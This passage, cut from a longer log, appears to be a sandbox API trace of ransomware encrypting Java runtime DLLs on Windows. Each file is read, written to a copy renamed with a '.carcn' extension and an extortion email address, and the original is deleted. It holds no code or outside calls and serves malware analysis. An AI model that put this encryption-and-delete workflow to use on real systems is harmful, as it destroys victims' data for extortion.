dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.638] SetEndOfFile (hFile=0x398) returned 1 [0305.640] CloseHandle (hObject=0x398) returned 1 [0305.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0305.640] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 1 [0305.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.641] lstrlenW (lpString=".doc") returned 4 [0305.641] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.641] lstrlenW (lpString=".docx") returned 5 [0305.641] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0305.641] lstrlenW (lpString=".pdf") returned 4 [0305.641] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.641] lstrlenW (lpString=".xls") returned 4 [0305.641] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.641] lstrlenW (lpString=".xlsx") returned 5 [0305.641] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0305.641] lstrlenW (lpString=".ppt") returned 4 [0305.641] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.641] lstrlenW (lpString=".zip") returned 4 [0305.641] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.641] lstrlenW (lpString=".rar") returned 4 [0305.641] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.641] lstrlenW (lpString=".bz2") returned 4 [0305.641] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.641] lstrlenW (lpString=".7z") returned 3 [0305.641] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.641] lstrlenW (lpString=".dbf") returned 4 [0305.641] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.641] lstrlenW (lpString=".1cd") returned 4 [0305.641] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.642] lstrlenW (lpString=".jpg") returned 4 [0305.642] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.642] lstrlenW (lpString=".doc") returned 4 [0305.642] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.642] lstrlenW (lpString=".docx") returned 5 [0305.642] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0305.642] lstrlenW (lpString=".pdf") returned 4 [0305.642] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.642] lstrlenW (lpString=".xls") returned 4 [0305.642] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.642] lstrlenW (lpString=".xlsx") returned 5 [0305.642] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0305.642] lstrlenW (lpString=".ppt") returned 4 [0305.642] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.642] lstrlenW (lpString=".zip") returned 4 [0305.642] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.642] lstrlenW (lpString=".rar") returned 4 [0305.642] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.642] lstrlenW (lpString=".bz2") returned 4 [0305.642] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.642] lstrlenW (lpString=".7z") returned 3 [0305.642] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.642] lstrlenW (lpString=".dbf") returned 4 [0305.642] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.643] lstrlenW (lpString=".1cd") returned 4 [0305.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0305.643] lstrlenW (lpString=".jpg") returned 4 [0305.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.643] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0305.643] lstrlenW (lpString="sunmscapi.dll") returned 13 [0305.643] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.644] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=31808) returned 1 [0305.644] CloseHandle (hObject=0x398) returned 1 [0305.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0305.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0305.644] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.644] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.644] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.645] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0305.645] GetLastError () returned 0x0 [0305.645] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x7c40, lpOverlapped=0x0) returned 1 [0306.029] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x7c50, lpOverlapped=0x0) returned 1 [0306.031] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.031] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xee, lpOverlapped=0x0) returned 1 [0306.031] SetEndOfFile (hFile=0x394) returned 1 [0306.032] CloseHandle (hObject=0x394) returned 1 [0306.032] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.032] SetEndOfFile (hFile=0x398) returned 1 [0306.033] CloseHandle (hObject=0x398) returned 1 [0306.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.033] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 1 [0306.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.033] lstrlenW (lpString=".doc") returned 4 [0306.033] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.033] lstrlenW (lpString=".docx") returned 5 [0306.034] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0306.034] lstrlenW (lpString=".pdf") returned 4 [0306.034] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.034] lstrlenW (lpString=".xls") returned 4 [0306.034] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.034] lstrlenW (lpString=".xlsx") returned 5 [0306.034] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0306.034] lstrlenW (lpString=".ppt") returned 4 [0306.034] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.034] lstrlenW (lpString=".zip") returned 4 [0306.034] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.034] lstrlenW (lpString=".rar") returned 4 [0306.034] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.034] lstrlenW (lpString=".bz2") returned 4 [0306.034] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.034] lstrlenW (lpString=".7z") returned 3 [0306.034] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.034] lstrlenW (lpString=".dbf") returned 4 [0306.034] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.034] lstrlenW (lpString=".1cd") returned 4 [0306.034] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.035] lstrlenW (lpString=".jpg") returned 4 [0306.035] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.035] lstrlenW (lpString=".doc") returned 4 [0306.035] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.035] lstrlenW (lpString=".docx") returned 5 [0306.035] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0306.035] lstrlenW (lpString=".pdf") returned 4 [0306.035] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.035] lstrlenW (lpString=".xls") returned 4 [0306.035] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.035] lstrlenW (lpString=".xlsx") returned 5 [0306.035] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0306.035] lstrlenW (lpString=".ppt") returned 4 [0306.035] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.035] lstrlenW (lpString=".zip") returned 4 [0306.035] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.035] lstrlenW (lpString=".rar") returned 4 [0306.035] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.035] lstrlenW (lpString=".bz2") returned 4 [0306.035] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.035] lstrlenW (lpString=".7z") returned 3 [0306.035] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.035] lstrlenW (lpString=".dbf") returned 4 [0306.035] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.036] lstrlenW (lpString=".1cd") returned 4 [0306.036] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0306.036] lstrlenW (lpString=".jpg") returned 4 [0306.036] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.036] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0306.036] lstrlenW (lpString="verify.dll") returned 10 [0306.036] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.053] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=49216) returned 1 [0306.053] CloseHandle (hObject=0x398) returned 1 [0306.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0306.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.054] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.054] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.055] GetLastError () returned 0x0 [0306.055] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xc040, lpOverlapped=0x0) returned 1 [0306.058] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xc050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xc050, lpOverlapped=0x0) returned 1 [0306.060] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.060] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0306.060] SetEndOfFile (hFile=0x394) returned 1 [0306.060] CloseHandle (hObject=0x394) returned 1 [0306.061] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.061] SetEndOfFile (hFile=0x398) returned 1 [0306.062] CloseHandle (hObject=0x398) returned 1 [0306.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.062] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 1 [0306.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.062] lstrlenW (lpString=".doc") returned 4 [0306.062] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.062] lstrlenW (lpString=".docx") returned 5 [0306.062] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0306.063] lstrlenW (lpString=".pdf") returned 4 [0306.063] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.063] lstrlenW (lpString=".xls") returned 4 [0306.063] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.063] lstrlenW (lpString=".xlsx") returned 5 [0306.063] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0306.063] lstrlenW (lpString=".ppt") returned 4 [0306.063] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.063] lstrlenW (lpString=".zip") returned 4 [0306.063] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.063] lstrlenW (lpString=".rar") returned 4 [0306.063] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.063] lstrlenW (lpString=".bz2") returned 4 [0306.063] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.063] lstrlenW (lpString=".7z") returned 3 [0306.063] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.063] lstrlenW (lpString=".dbf") returned 4 [0306.063] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.063] lstrlenW (lpString=".1cd") returned 4 [0306.063] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.063] lstrlenW (lpString=".jpg") returned 4 [0306.063] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.064] lstrlenW (lpString=".doc") returned 4 [0306.064] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.064] lstrlenW (lpString=".docx") returned 5 [0306.064] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0306.064] lstrlenW (lpString=".pdf") returned 4 [0306.064] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.064] lstrlenW (lpString=".xls") returned 4 [0306.064] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.064] lstrlenW (lpString=".xlsx") returned 5 [0306.064] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0306.064] lstrlenW (lpString=".ppt") returned 4 [0306.064] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.064] lstrlenW (lpString=".zip") returned 4 [0306.064] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.064] lstrlenW (lpString=".rar") returned 4 [0306.064] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.064] lstrlenW (lpString=".bz2") returned 4 [0306.064] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.064] lstrlenW (lpString=".7z") returned 3 [0306.064] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.064] lstrlenW (lpString=".dbf") returned 4 [0306.064] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.064] lstrlenW (lpString=".1cd") returned 4 [0306.064] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0306.064] lstrlenW (lpString=".jpg") returned 4 [0306.064] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.065] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0306.065] lstrlenW (lpString="WindowsAccessBridge-64.dll") returned 26 [0306.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.065] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=110144) returned 1 [0306.065] CloseHandle (hObject=0x398) returned 1 [0306.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0306.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.066] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.066] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.066] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.066] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.067] GetLastError () returned 0x0 [0306.067] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x1ae40, lpOverlapped=0x0) returned 1 [0306.081] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x1ae50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x1ae50, lpOverlapped=0x0) returned 1 [0306.084] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.084] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x108, lpOverlapped=0x0) returned 1 [0306.084] SetEndOfFile (hFile=0x394) returned 1 [0306.084] CloseHandle (hObject=0x394) returned 1 [0306.084] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.084] SetEndOfFile (hFile=0x398) returned 1 [0306.086] CloseHandle (hObject=0x398) returned 1 [0306.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.086] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 1 [0306.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.087] lstrlenW (lpString=".doc") returned 4 [0306.087] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.087] lstrlenW (lpString=".docx") returned 5 [0306.087] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0306.087] lstrlenW (lpString=".pdf") returned 4 [0306.087] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.087] lstrlenW (lpString=".xls") returned 4 [0306.087] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.087] lstrlenW (lpString=".xlsx") returned 5 [0306.087] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0306.087] lstrlenW (lpString=".ppt") returned 4 [0306.087] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.087] lstrlenW (lpString=".zip") returned 4 [0306.087] 